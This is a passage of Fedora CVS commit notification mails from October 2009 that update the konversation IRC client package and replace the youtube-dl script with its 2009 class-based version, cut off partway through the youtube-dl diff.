+Release:        1%{?dist}
 Summary:        A user friendly IRC client
 
 Group:          Applications/Internet
@@ -89,6 +87,9 @@ fi
 
 
 %changelog
+* Fri Oct 09 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.2-1
+- konversation-1.2 (final)
+
 * Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.2-0.12.rc1
 - konversation-1.2-rc1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/konversation/F-12/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	3 Oct 2009 13:57:32 -0000	1.12
+++ sources	9 Oct 2009 16:29:27 -0000	1.13
@@ -1 +1 @@
-9a672517399354296ec13a9368cbfcb8  konversation-1.2-rc1.tar.bz2
+823d06b20161526bb20bd50086a73af1  konversation-1.2.tar.bz2



From rdieter at fedoraproject.org  Fri Oct  9 16:29:27 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  9 Oct 2009 16:29:27 +0000 (UTC)
Subject: rpms/konversation/F-11 .cvsignore, 1.10, 1.11 konversation.spec,
	1.30, 1.31 sources, 1.10, 1.11
Message-ID: <20091009162927.BB82611C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/konversation/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20548/F-11

Modified Files:
	.cvsignore konversation.spec sources 
Log Message:
sync w/devel



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/konversation/F-11/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	3 Oct 2009 13:58:55 -0000	1.10
+++ .cvsignore	9 Oct 2009 16:29:27 -0000	1.11
@@ -1 +1 @@
-konversation-1.2-rc1.tar.bz2
+konversation-1.2.tar.bz2


Index: konversation.spec
===================================================================
RCS file: /cvs/pkgs/rpms/konversation/F-11/konversation.spec,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- konversation.spec	3 Oct 2009 13:58:55 -0000	1.30
+++ konversation.spec	9 Oct 2009 16:29:27 -0000	1.31
@@ -1,9 +1,7 @@
 
-%define pre rc1 
-
 Name:           konversation
 Version:        1.2
-Release:        0.12.%{pre}%{?dist}
+Release:        1%{?dist}
 Summary:        A user friendly IRC client
 
 Group:          Applications/Internet
@@ -89,6 +87,9 @@ fi
 
 
 %changelog
+* Fri Oct 09 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.2-1
+- konversation-1.2 (final)
+
 * Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.2-0.12.rc1
 - konversation-1.2-rc1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/konversation/F-11/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	3 Oct 2009 13:58:55 -0000	1.10
+++ sources	9 Oct 2009 16:29:27 -0000	1.11
@@ -1 +1 @@
-9a672517399354296ec13a9368cbfcb8  konversation-1.2-rc1.tar.bz2
+823d06b20161526bb20bd50086a73af1  konversation-1.2.tar.bz2



From rafalzaq at fedoraproject.org  Fri Oct  9 16:39:37 2009
From: rafalzaq at fedoraproject.org (=?utf-8?q?Rafa=C5=82_Psota?=)
Date: Fri,  9 Oct 2009 16:39:37 +0000 (UTC)
Subject: rpms/youtube-dl/F-11 youtube-dl,1.1,1.2 youtube-dl.spec,1.2,1.3
Message-ID: <20091009163937.9E44D11C00C1@cvs1.fedora.phx.redhat.com>

Author: rafalzaq

Update of /cvs/pkgs/rpms/youtube-dl/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24336

Modified Files:
	youtube-dl youtube-dl.spec 
Log Message:
update to 2009.09.13


Index: youtube-dl
===================================================================
RCS file: /cvs/pkgs/rpms/youtube-dl/F-11/youtube-dl,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- youtube-dl	26 Jan 2008 11:33:26 -0000	1.1
+++ youtube-dl	9 Oct 2009 16:39:37 -0000	1.2
@@ -1,387 +1,1228 @@
 #!/usr/bin/env python
-#
-# Copyright (c) 2006-2008 Ricardo Garcia Gonzalez
-#
-# Permission is hereby granted, free of charge, to any person obtaining a
-# copy of this software and associated documentation files (the "Software"),
-# to deal in the Software without restriction, including without limitation
-# the rights to use, copy, modify, merge, publish, distribute, sublicense,
-# and/or sell copies of the Software, and to permit persons to whom the
-# Software is furnished to do so, subject to the following conditions:
-# 
-# The above copyright notice and this permission notice shall be included
-# in all copies or substantial portions of the Software.
-# 
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
-# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
-# OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
-# ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-# OTHER DEALINGS IN THE SOFTWARE.
-# 
-# Except as contained in this notice, the name(s) of the above copyright
-# holders shall not be used in advertising or otherwise to promote the
-# sale, use or other dealings in this Software without prior written
-# authorization.
-#
-import getpass
+# -*- coding: utf-8 -*-
+# Author: Ricardo Garcia Gonzalez
+# Author: Danny Colligan
+# License: Public domain code
+import htmlentitydefs
 import httplib
+import locale
 import math
 import netrc
-import optparse
 import os
+import os.path
 import re
 import socket
 import string
 import sys
 import time
+import urllib
 import urllib2
 
-# Global constants
-const_1k = 1024
-const_initial_block_size = 10 * const_1k
-const_epsilon = 0.0001
-const_timeout = 120
-
-const_video_url_str = 'http://www.youtube.com/watch?v=%s'
-const_video_url_re = re.compile(r'^((?:http://)?(?:\w+\.)?youtube\.com/(?:v/|(?:watch(?:\.php)?)?\?(?:.+&)?v=))?([0-9A-Za-z_-]+)(?(1)[&/].*)?$')
-const_login_url_str = 'http://www.youtube.com/login?next=/watch%%3Fv%%3D%s'
-const_login_post_str = 'current_form=loginForm&next=%%2Fwatch%%3Fv%%3D%s&username=%s&password=%s&action_login=Log+In'
-const_age_url_str = 'http://www.youtube.com/verify_age?next_url=/watch%%3Fv%%3D%s'
-const_age_post_str = 'next_url=%%2Fwatch%%3Fv%%3D%s&action_confirm=Confirm'
-const_url_t_param_re = re.compile(r', "t": "([^"]+)"')
-const_video_url_real_str = 'http://www.youtube.com/get_video?video_id=%s&t=%s'
-const_video_title_re = re.compile(r'<title>YouTube - ([^<]*)</title>', re.M | re.I)
-
-# Print error message, followed by standard advice information, and then exit
-def error_advice_exit(error_text):
-	sys.stderr.write('Error: %s.\n' % error_text)
-	sys.stderr.write('Try again several times. It may be a temporary problem.\n')
-	sys.stderr.write('Other typical problems:\n\n')
-	sys.stderr.write('* Video no longer exists.\n')
-	sys.stderr.write('* Video requires age confirmation but you did not provide an account.\n')
-	sys.stderr.write('* You provided the account data, but it is not valid.\n')
-	sys.stderr.write('* The connection was cut suddenly for some reason.\n')
-	sys.stderr.write('* YouTube changed their system, and the program no longer works.\n')
-	sys.stderr.write('\nTry to confirm you are able to view the video using a web browser.\n')
-	sys.stderr.write('Use the same video URL and account information, if needed, with this program.\n')
-	sys.stderr.write('When using a proxy, make sure http_proxy has http://host:port format.\n')
-	sys.stderr.write('Try again several times and contact me if the problem persists.\n')
-	sys.exit('\n')
-
-# Wrapper to create custom requests with typical headers
-def request_create(url, data=None):
-	retval = urllib2.Request(url)
-	if data is not None:
-		retval.add_data(data)
-	# Try to mimic Firefox, at least a little bit
-	retval.add_header('User-Agent', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11')
-	retval.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
-	retval.add_header('Accept', 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5')
-	retval.add_header('Accept-Language', 'en-us,en;q=0.5')
-	return retval
-
-# Perform a request, process headers and return response
-def perform_request(url, data=None):
-	request = request_create(url, data)
-	response = urllib2.urlopen(request)
-	return response
-
-# Conditional print
-def cond_print(str):
-	global cmdl_opts
-	if not (cmdl_opts.quiet or cmdl_opts.get_url):
-		sys.stdout.write(str)
-		sys.stdout.flush()
-
-# Title string normalization
-def title_string_norm(title):
-	title = ''.join((x in string.ascii_letters or x in string.digits) and x or ' ' for x in title)
-	title = '_'.join(title.split())
-	title = title.lower()
-	return title
-
-# Generic download step
-def download_step(return_data_flag, step_title, step_error, url, post_data=None):
+std_headers = {
+	'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2',
+	'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
+	'Accept': 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5',
+	'Accept-Language': 'en-us,en;q=0.5',
+}
+
+simple_title_chars = string.ascii_letters.decode('ascii') + string.digits.decode('ascii')
+
+def preferredencoding():
+	"""Get preferred encoding.
+
+	Returns the best encoding scheme for the system, based on
+	locale.getpreferredencoding() and some further tweaks.
+	"""
 	try:
-		cond_print('%s... ' % step_title)
-		data = perform_request(url, post_data).read()
-		cond_print('done.\n')
-		if return_data_flag:
-			return data
-		return None
-
-	except (urllib2.URLError, ValueError, httplib.HTTPException, TypeError, socket.error):
-		cond_print('failed.\n')
-		error_advice_exit(step_error)
-
-	except KeyboardInterrupt:
-		sys.exit('\n')
+		pref = locale.getpreferredencoding()
+		# Mac OSX systems have this problem sometimes
+		if pref == '':
+			return 'UTF-8'
+		return pref
+	except:
+		sys.stderr.write('WARNING: problem obtaining preferred encoding. Falling back to UTF-8.\n')
+		return 'UTF-8'
 
-# Generic extract step
-def extract_step(step_title, step_error, regexp, data):
-	try:
-		cond_print('%s... ' % step_title)
-		match = regexp.search(data)
-		
-		if match is None:
-			cond_print('failed.\n')
-			error_advice_exit(step_error)
-		
-		extracted_data = match.group(1)
-		cond_print('done.\n')
-		return extracted_data
+class DownloadError(Exception):
+	"""Download Error exception.
 	
-	except KeyboardInterrupt:
-		sys.exit('\n')
-
-# Calculate new block size based on previous block size
-def new_block_size(before, after, bytes):
-	new_min = max(bytes / 2.0, 1.0)
-	new_max = max(bytes * 2.0, 1.0)
-	dif = after - before
-	if dif < const_epsilon:
-		return int(new_max)
-	rate = bytes / dif
-	if rate > new_max:
-		return int(new_max)
-	if rate < new_min:
-		return int(new_min)
-	return int(rate)
-
-# Get optimum 1k exponent to represent a number of bytes
-def optimum_k_exp(num_bytes):
-	global const_1k
-	if num_bytes == 0:
-		return 0
-	return long(math.log(num_bytes, const_1k))
-
-# Get optimum representation of number of bytes
-def format_bytes(num_bytes):
-	global const_1k
-	try:
-		exp = optimum_k_exp(num_bytes)
-		suffix = 'bkMGTPEZY'[exp]
-		if exp == 0:
-			return '%s%s' % (num_bytes, suffix)
-		converted = float(num_bytes) / float(const_1k**exp)
+	This exception may be thrown by FileDownloader objects if they are not
+	configured to continue on errors. They will contain the appropriate
+	error message.
+	"""
+	pass
+
+class SameFileError(Exception):
+	"""Same File exception.
+
+	This exception will be thrown by FileDownloader objects if they detect
+	multiple files would have to be downloaded to the same file on disk.
+	"""
+	pass
+
+class PostProcessingError(Exception):
+	"""Post Processing exception.
+
+	This exception may be raised by PostProcessor's .run() method to
+	indicate an error in the postprocessing task.
+	"""
+	pass
+
+class UnavailableFormatError(Exception):
+	"""Unavailable Format exception.
+
+	This exception will be thrown when a video is requested
+	in a format that is not available for that video.
+	"""
+	pass
+
+class ContentTooShortError(Exception):
+	"""Content Too Short exception.
+
+	This exception may be raised by FileDownloader objects when a file they
+	download is too small for what the server announced first, indicating
+	the connection was probably interrupted.
+	"""
+	# Both in bytes
+	downloaded = None
+	expected = None
+
+	def __init__(self, downloaded, expected):
+		self.downloaded = downloaded
+		self.expected = expected
+
+class FileDownloader(object):
+	"""File Downloader class.
+
+	File downloader objects are the ones responsible of downloading the
+	actual video file and writing it to disk if the user has requested
+	it, among some other tasks. In most cases there should be one per
+	program. As, given a video URL, the downloader doesn't know how to
+	extract all the needed information, task that InfoExtractors do, it
+	has to pass the URL to one of them.
+
+	For this, file downloader objects have a method that allows
+	InfoExtractors to be registered in a given order. When it is passed
+	a URL, the file downloader handles it to the first InfoExtractor it
+	finds that reports being able to handle it. The InfoExtractor extracts
+	all the information about the video or videos the URL refers to, and
+	asks the FileDownloader to process the video information, possibly
+	downloading the video.
+
+	File downloaders accept a lot of parameters. In order not to saturate
+	the object constructor with arguments, it receives a dictionary of
+	options instead. These options are available through the params
+	attribute for the InfoExtractors to use. The FileDownloader also
+	registers itself as the downloader in charge for the InfoExtractors
+	that are added to it, so this is a "mutual registration".
+
+	Available options:
+
+	username:	Username for authentication purposes.
+	password:	Password for authentication purposes.
+	usenetrc:	Use netrc for authentication instead.
+	quiet:		Do not print messages to stdout.
+	forceurl:	Force printing final URL.
+	forcetitle:	Force printing title.
+	simulate:	Do not download the video files.
+	format:		Video format code.
+	outtmpl:	Template for output names.
+	ignoreerrors:	Do not stop on download errors.
+	ratelimit:	Download speed limit, in bytes/sec.
+	nooverwrites:	Prevent overwriting files.
+	continuedl:	Try to continue downloads if possible.
+	"""
+
+	params = None
+	_ies = []
+	_pps = []
+	_download_retcode = None
+
+	def __init__(self, params):
+		"""Create a FileDownloader object with the given options."""
+		self._ies = []
+		self._pps = []
+		self._download_retcode = 0
+		self.params = params
+	
+	@staticmethod
+	def pmkdir(filename):
+		"""Create directory components in filename. Similar to Unix "mkdir -p"."""
+		components = filename.split(os.sep)
+		aggregate = [os.sep.join(components[0:x]) for x in xrange(1, len(components))]
+		aggregate = ['%s%s' % (x, os.sep) for x in aggregate] # Finish names with separator
+		for dir in aggregate:
+			if not os.path.exists(dir):
+				os.mkdir(dir)
+	
+	@staticmethod
+	def format_bytes(bytes):
+		if bytes is None:
+			return 'N/A'
+		if type(bytes) is str:
+			bytes = float(bytes)
+		if bytes == 0.0:
+			exponent = 0
+		else:
+			exponent = long(math.log(bytes, 1024.0))
+		suffix = 'bkMGTPEZY'[exponent]
+		converted = float(bytes) / float(1024**exponent)
 		return '%.2f%s' % (converted, suffix)
-	except IndexError:
-		sys.exit('Error: internal error formatting number of bytes.')
-
-# Calculate ETA and return it in string format as MM:SS
-def calc_eta(start, now, total, current):
-	dif = now - start
-	if current == 0 or dif < const_epsilon:
-		return '--:--'
-	rate = float(current) / dif
-	eta = long((total - current) / rate)
-	(eta_mins, eta_secs) = divmod(eta, 60)
-	if eta_mins > 99:
-		return '--:--'
-	return '%02d:%02d' % (eta_mins, eta_secs)
-
-# Calculate speed and return it in string format
-def calc_speed(start, now, bytes):
-	dif = now - start
-	if bytes == 0 or dif < const_epsilon:
-		return 'N/A b'
-	return format_bytes(float(bytes) / dif)
-
-
-# Title string minimal transformation
-def title_string_touch(title):
-	return title.replace(os.sep, '%')
-
-# Create the command line options parser and parse command line
-cmdl_usage = 'usage: %prog [options] video_url'
-cmdl_version = '2008.01.24'
-cmdl_parser = optparse.OptionParser(usage=cmdl_usage, version=cmdl_version, conflict_handler='resolve')
-cmdl_parser.add_option('-h', '--help', action='help', help='print this help text and exit')
-cmdl_parser.add_option('-v', '--version', action='version', help='print program version and exit')
-cmdl_parser.add_option('-u', '--username', dest='username', metavar='USERNAME', help='account username')
-cmdl_parser.add_option('-p', '--password', dest='password', metavar='PASSWORD', help='account password')
-cmdl_parser.add_option('-o', '--output', dest='outfile', metavar='FILE', help='output video file name')
-cmdl_parser.add_option('-q', '--quiet', action='store_true', dest='quiet', help='activates quiet mode')
-cmdl_parser.add_option('-s', '--simulate', action='store_true', dest='simulate', help='do not download video')
-cmdl_parser.add_option('-t', '--title', action='store_true', dest='use_title', help='use title in file name')
-cmdl_parser.add_option('-l', '--literal', action='store_true', dest='use_literal', help='use literal title in file name')
-cmdl_parser.add_option('-n', '--netrc', action='store_true', dest='use_netrc', help='use .netrc authentication data')
-cmdl_parser.add_option('-g', '--get-url', action='store_true', dest='get_url', help='print final video URL only')
-cmdl_parser.add_option('-2', '--title-too', action='store_true', dest='get_title', help='used with -g, print title too')
-(cmdl_opts, cmdl_args) = cmdl_parser.parse_args()
-
-# Set socket timeout
-socket.setdefaulttimeout(const_timeout)
-
-# Get video URL
-if len(cmdl_args) != 1:
-	cmdl_parser.print_help()
-	sys.exit('\n')
-video_url_cmdl = cmdl_args[0]
-
-# Verify video URL format and convert to "standard" format
-video_url_mo = const_video_url_re.match(video_url_cmdl)
-if video_url_mo is None:
-	sys.exit('Error: URL does not seem to be a youtube video URL. If it is, report a bug.')
-video_url_id = video_url_mo.group(2)
-video_url = const_video_url_str % video_url_id
-
-# Check conflicting options
-if cmdl_opts.outfile is not None and (cmdl_opts.simulate or cmdl_opts.get_url):
-	sys.stderr.write('Warning: video file name given but will not be used.\n')
-
-if cmdl_opts.outfile is not None and (cmdl_opts.use_title or cmdl_opts.use_literal):
-	sys.exit('Error: using the video title conflicts with using a given file name.')
-
-if cmdl_opts.use_title and cmdl_opts.use_literal:
-	sys.exit('Error: cannot use title and literal title at the same time.')
-
-if cmdl_opts.quiet and cmdl_opts.get_url:
-	sys.exit('Error: cannot be quiet and print final URL at the same time.')
-
-# Incorrect option formatting
-if cmdl_opts.username is None and cmdl_opts.password is not None:
-	sys.exit('Error: password give but username is missing.')
-
-if cmdl_opts.use_netrc and (cmdl_opts.username is not None or cmdl_opts.password is not None):
-	sys.exit('Error: cannot use netrc and username/password at the same time.')
-
-if cmdl_opts.get_url is None and cmdl_opts.get_title is not None:
-	sys.exit('Error: getting title requires getting URL.')
-
-# Get account information if any
-account_username = None
-account_password = None
 
-if cmdl_opts.use_netrc:
-	try:
-		info = netrc.netrc().authenticators('youtube')
-		if info is None:
-			sys.exit('Error: no authenticators for machine youtube.')
-		account_username = info[0]
-		account_password = info[2]
-	except IOError:
-		sys.exit('Error: unable to read .netrc file.')
-	except netrc.NetrcParseError:
-		sys.exit('Error: unable to parse .netrc file.')
-else:
-	account_username = cmdl_opts.username
-	if account_username is not None:
-		if cmdl_opts.password is None:
-			account_password = getpass.getpass('Type YouTube password and press return: ')
+	@staticmethod
+	def calc_percent(byte_counter, data_len):
+		if data_len is None:
+			return '---.-%'
+		return '%6s' % ('%3.1f%%' % (float(byte_counter) / float(data_len) * 100.0))
+
+	@staticmethod
+	def calc_eta(start, now, total, current):
+		if total is None:
+			return '--:--'
+		dif = now - start
+		if current == 0 or dif < 0.001: # One millisecond
+			return '--:--'
+		rate = float(current) / dif
+		eta = long((float(total) - float(current)) / rate)
+		(eta_mins, eta_secs) = divmod(eta, 60)
+		if eta_mins > 99:
+			return '--:--'
+		return '%02d:%02d' % (eta_mins, eta_secs)
+
+	@staticmethod
+	def calc_speed(start, now, bytes):
+		dif = now - start
+		if bytes == 0 or dif < 0.001: # One millisecond
+			return '%10s' % '---b/s'
+		return '%10s' % ('%s/s' % FileDownloader.format_bytes(float(bytes) / dif))
+
+	@staticmethod
+	def best_block_size(elapsed_time, bytes):
+		new_min = max(bytes / 2.0, 1.0)
+		new_max = min(max(bytes * 2.0, 1.0), 4194304) # Do not surpass 4 MB
+		if elapsed_time < 0.001:
+			return long(new_max)
+		rate = bytes / elapsed_time
+		if rate > new_max:
+			return long(new_max)
+		if rate < new_min:
+			return long(new_min)
+		return long(rate)
+
+	@staticmethod
+	def parse_bytes(bytestr):
+		"""Parse a string indicating a byte quantity into a long integer."""
+		matchobj = re.match(r'(?i)^(\d+(?:\.\d+)?)([kMGTPEZY]?)$', bytestr)
+		if matchobj is None:
+			return None
+		number = float(matchobj.group(1))
+		multiplier = 1024.0 ** 'bkmgtpezy'.index(matchobj.group(2).lower())
+		return long(round(number * multiplier))
+
+	@staticmethod
+	def verify_url(url):
+		"""Verify a URL is valid and data could be downloaded. Return real data URL."""
+		request = urllib2.Request(url, None, std_headers)
+		data = urllib2.urlopen(request)
+		data.read(1)
+		url = data.geturl()
+		data.close()
+		return url
+
+	def add_info_extractor(self, ie):
+		"""Add an InfoExtractor object to the end of the list."""
+		self._ies.append(ie)
+		ie.set_downloader(self)
+	
+	def add_post_processor(self, pp):
+		"""Add a PostProcessor object to the end of the chain."""
+		self._pps.append(pp)
+		pp.set_downloader(self)
+	
+	def to_stdout(self, message, skip_eol=False):
+		"""Print message to stdout if not in quiet mode."""
+		if not self.params.get('quiet', False):
+			print (u'%s%s' % (message, [u'\n', u''][skip_eol])).encode(preferredencoding()),
+			sys.stdout.flush()
+	
+	def to_stderr(self, message):
+		"""Print message to stderr."""
+		print >>sys.stderr, message.encode(preferredencoding())
+	
+	def fixed_template(self):
+		"""Checks if the output template is fixed."""
+		return (re.search(ur'(?u)%\(.+?\)s', self.params['outtmpl']) is None)
+
+	def trouble(self, message=None):
+		"""Determine action to take when a download problem appears.
+
+		Depending on if the downloader has been configured to ignore
+		download errors or not, this method may throw an exception or
+		not when errors are found, after printing the message.
+		"""
+		if message is not None:
+			self.to_stderr(message)
+		if not self.params.get('ignoreerrors', False):
+			raise DownloadError(message)
+		self._download_retcode = 1
+
+	def slow_down(self, start_time, byte_counter):
+		"""Sleep if the download speed is over the rate limit."""
+		rate_limit = self.params.get('ratelimit', None)
+		if rate_limit is None or byte_counter == 0:
+			return
+		now = time.time()
+		elapsed = now - start_time
+		if elapsed <= 0.0:
+			return
+		speed = float(byte_counter) / elapsed
+		if speed > rate_limit:
+			time.sleep((byte_counter - rate_limit * (now - start_time)) / rate_limit)
+
+	def report_destination(self, filename):
+		"""Report destination filename."""
+		self.to_stdout(u'[download] Destination: %s' % filename)
+	
+	def report_progress(self, percent_str, data_len_str, speed_str, eta_str):
+		"""Report download progress."""
+		self.to_stdout(u'\r[download] %s of %s at %s ETA %s' %
+				(percent_str, data_len_str, speed_str, eta_str), skip_eol=True)
+
+	def report_resuming_byte(self, resume_len):
+		"""Report attemtp to resume at given byte."""
+		self.to_stdout(u'[download] Resuming download at byte %s' % resume_len)
+	
+	def report_file_already_downloaded(self, file_name):
+		"""Report file has already been fully downloaded."""
+		self.to_stdout(u'[download] %s has already been downloaded' % file_name)
+	
+	def report_unable_to_resume(self):
+		"""Report it was impossible to resume download."""
+		self.to_stdout(u'[download] Unable to resume')
+	
+	def report_finish(self):
+		"""Report download finished."""
+		self.to_stdout(u'')
+
+	def process_info(self, info_dict):
+		"""Process a single dictionary returned by an InfoExtractor."""
+		# Do nothing else if in simulate mode
+		if self.params.get('simulate', False):
+			try:
+				info_dict['url'] = self.verify_url(info_dict['url'])
+			except (OSError, IOError, urllib2.URLError, httplib.HTTPException, socket.error), err:
+				raise UnavailableFormatError
+
+			# Forced printings
+			if self.params.get('forcetitle', False):
+				print info_dict['title'].encode(preferredencoding())
+			if self.params.get('forceurl', False):
+				print info_dict['url'].encode(preferredencoding())
+
+			return
+			
+		try:
+			template_dict = dict(info_dict)
+			template_dict['epoch'] = unicode(long(time.time()))
+			filename = self.params['outtmpl'] % template_dict
+		except (ValueError, KeyError), err:
+			self.trouble('ERROR: invalid output template or system charset: %s' % str(err))
+		if self.params['nooverwrites'] and os.path.exists(filename):
+			self.to_stderr(u'WARNING: file exists: %s; skipping' % filename)
+			return
+
+		try:
+			self.pmkdir(filename)
+		except (OSError, IOError), err:
+			self.trouble('ERROR: unable to create directories: %s' % str(err))
+			return
+
+		try:
+			success = self._do_download(filename, info_dict['url'])
+		except (OSError, IOError), err:
+			raise UnavailableFormatError
+		except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+			self.trouble('ERROR: unable to download video data: %s' % str(err))
+			return
+		except (ContentTooShortError, ), err:
+			self.trouble('ERROR: content too short (expected %s bytes and served %s)' % (err.expected, err.downloaded))
+			return
+
+		if success:
+			try:
+				self.post_process(filename, info_dict)
+			except (PostProcessingError), err:
+				self.trouble('ERROR: postprocessing: %s' % str(err))
+				return
+
+	def download(self, url_list):
+		"""Download a given list of URLs."""
+		if len(url_list) > 1 and self.fixed_template():
+			raise SameFileError(self.params['outtmpl'])
+
+		for url in url_list:
+			suitable_found = False
+			for ie in self._ies:
+				# Go to next InfoExtractor if not suitable
+				if not ie.suitable(url):
+					continue
+
+				# Suitable InfoExtractor found
+				suitable_found = True
+
+				# Extract information from URL and process it
+				ie.extract(url)
+
+				# Suitable InfoExtractor had been found; go to next URL
+				break
+
+			if not suitable_found:
+				self.trouble('ERROR: no suitable InfoExtractor: %s' % url)
+
+		return self._download_retcode
+
+	def post_process(self, filename, ie_info):
+		"""Run the postprocessing chain on the given file."""
+		info = dict(ie_info)
+		info['filepath'] = filename
+		for pp in self._pps:
+			info = pp.run(info)
+			if info is None:
+				break
+	
+	def _do_download(self, filename, url):
+		stream = None
+		open_mode = 'ab'
+
+		basic_request = urllib2.Request(url, None, std_headers)
+		request = urllib2.Request(url, None, std_headers)
+
+		# Attempt to resume download with "continuedl" option
+		if os.path.isfile(filename):
+			resume_len = os.path.getsize(filename)
 		else:
-			account_password = cmdl_opts.password
-
-# Get output file name 
-if cmdl_opts.outfile is None:
-	video_filename = '%s.flv' % video_url_id
-else:
-	video_filename = cmdl_opts.outfile
-
-# Install cookie and proxy handlers
-urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler()))
-urllib2.install_opener(urllib2.build_opener(urllib2.HTTPCookieProcessor()))
-
-# Log in and confirm age if needed
-if account_username is not None:
-	url = const_login_url_str % video_url_id
-	post = const_login_post_str % (video_url_id, account_username, account_password)
-	download_step(False, 'Logging in', 'unable to log in', url, post)
-
-	url = const_age_url_str % video_url_id
-	post = const_age_post_str % video_url_id
-	download_step(False, 'Confirming age', 'unable to confirm age', url, post)
-
-# Retrieve video webpage
-video_webpage = download_step(True, 'Retrieving video webpage', 'unable to retrieve video webpage', video_url)
-
-# Extract video title if needed
-if cmdl_opts.use_title or cmdl_opts.use_literal or cmdl_opts.get_title:
-	video_title = extract_step('Extracting video title', 'unable to extract video title', const_video_title_re, video_webpage)
-
-# Extract needed video URL parameters
-video_url_t_param = extract_step('Extracting URL "t" parameter', 'unable to extract URL "t" parameter', const_url_t_param_re, video_webpage)
-video_url_real = const_video_url_real_str % (video_url_id, video_url_t_param)
-
-# Rebuild filename if needed
-if cmdl_opts.use_title or cmdl_opts.use_literal:
-	if cmdl_opts.use_title:
-		prefix = title_string_norm(video_title)
-	else:
-		prefix = title_string_touch(video_title)
-	video_filename = '%s-%s.flv' % (prefix, video_url_id)
-
-# Check name
-if not video_filename.lower().endswith('.flv'):
-	sys.stderr.write('Warning: video file name does not end in .flv\n')
-
-# Retrieve video data
-try:
-	cond_print('Requesting video file... ')
-	video_data = perform_request(video_url_real)
-	cond_print('done.\n')
-	cond_print('Video data found at %s\n' % video_data.geturl())
-
-	if cmdl_opts.get_title:
-		print video_title
-
-	if cmdl_opts.get_url:
-		print video_data.geturl()
-
-	if cmdl_opts.simulate or cmdl_opts.get_url:
-		sys.exit()
+			resume_len = 0
+		if self.params['continuedl'] and resume_len != 0:
+			self.report_resuming_byte(resume_len)
+			request.add_header('Range','bytes=%d-' % resume_len)
+
+		# Establish connection
+		try:
+			data = urllib2.urlopen(request)
+		except (urllib2.HTTPError, ), err:
+			if err.code != 416: #  416 is 'Requested range not satisfiable'
+				raise
+			data = urllib2.urlopen(basic_request)
+			content_length = data.info()['Content-Length']
+			if content_length is not None and long(content_length) == resume_len:
+				self.report_file_already_downloaded(filename)
+				return True
+			else:
+				self.report_unable_to_resume()
+				open_mode = 'wb'
+
+		data_len = data.info().get('Content-length', None)
+		data_len_str = self.format_bytes(data_len)
+		byte_counter = 0
+		block_size = 1024
+		start = time.time()
+		while True:
+			# Download and write
+			before = time.time()
+			data_block = data.read(block_size)
+			after = time.time()
+			data_block_len = len(data_block)
+			if data_block_len == 0:
+				break
+			byte_counter += data_block_len
+
+			# Open file just in time
+			if stream is None:
+				try:
+					stream = open(filename, open_mode)
+					self.report_destination(filename)
+				except (OSError, IOError), err:
+					self.trouble('ERROR: unable to open for writing: %s' % str(err))
+					return False
+			stream.write(data_block)
+			block_size = self.best_block_size(after - before, data_block_len)
+
+			# Progress message
+			percent_str = self.calc_percent(byte_counter, data_len)
+			eta_str = self.calc_eta(start, time.time(), data_len, byte_counter)
+			speed_str = self.calc_speed(start, time.time(), byte_counter)
+			self.report_progress(percent_str, data_len_str, speed_str, eta_str)
+
+			# Apply rate limit
+			self.slow_down(start, byte_counter)
+
+		self.report_finish()
+		if data_len is not None and str(byte_counter) != data_len:
+			raise ContentTooShortError(byte_counter, long(data_len))
+		return True
+
+class InfoExtractor(object):
+	"""Information Extractor class.
+
+	Information extractors are the classes that, given a URL, extract
+	information from the video (or videos) the URL refers to. This
+	information includes the real video URL, the video title and simplified
+	title, author and others. The information is stored in a dictionary
+	which is then passed to the FileDownloader. The FileDownloader
+	processes this information possibly downloading the video to the file
+	system, among other possible outcomes. The dictionaries must include
+	the following fields:
+
+	id:		Video identifier.
+	url:		Final video URL.
+	uploader:	Nickname of the video uploader.
+	title:		Literal title.
+	stitle:		Simplified title.
+	ext:		Video filename extension.
+
+	Subclasses of this one should re-define the _real_initialize() and
+	_real_extract() methods, as well as the suitable() static method.
+	Probably, they should also be instantiated and added to the main
+	downloader.
+	"""
+
+	_ready = False
+	_downloader = None
+
+	def __init__(self, downloader=None):
+		"""Constructor. Receives an optional downloader."""
+		self._ready = False
+		self.set_downloader(downloader)
+
+	@staticmethod
